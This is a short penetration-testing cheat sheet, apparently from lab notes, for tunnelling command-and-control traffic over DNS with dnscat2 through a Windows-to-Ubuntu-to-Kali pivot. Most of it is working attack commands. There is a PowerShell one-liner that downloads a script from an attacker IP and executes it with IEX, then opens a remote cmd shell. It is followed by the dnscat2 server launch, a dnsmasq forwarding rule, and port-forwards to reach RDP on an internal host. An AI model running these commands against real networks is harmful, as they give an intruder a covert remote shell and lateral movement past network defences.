DNScat
git clone https://github.com/iagox86/dnscat2.gitWindows ---> Ubuntu ---> Kali (Server)
Windows (DNSserver = Internal Ubuntu IP)
$wc = New-Object System.Net.WebClient; $wc.Headers['User-Agent'] = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome; $wc.DownloadString('http://192.168.49.120/dnscat2.ps1') | IEX; Start-Dnscat2 -DNSserver 172.16.237.21 -Domain tunnel.com -PreSharedSecret 55cc1770f5788ab89b9071cb62907c21 -Exec cmdKali (host = Kali IP)
sudo ruby ~/tools/dnscat2/server/dnscat2.rb --dns host=192.168.49.120,port=53,domain=tunnel.com --no-cacheUbuntu (server = Kali IP)
/etc/dnsmasq.conf
server=/tunnel.com/192.168.49.120
sudo systemctl restart dnsmasqCan Set Up a Forward to Push Traffic Across a Tunnel
listen 127.0.0.1:3389 <TARGET IP>:3389
listen 127.0.0.1:3389 172.16.106.132:3389Used to List dnscat2 Options
dnscat2> ?Used to Interact with an Established dnscat2 Session
dnscat2> window -i 1Ctrl+Z to go back
Last updated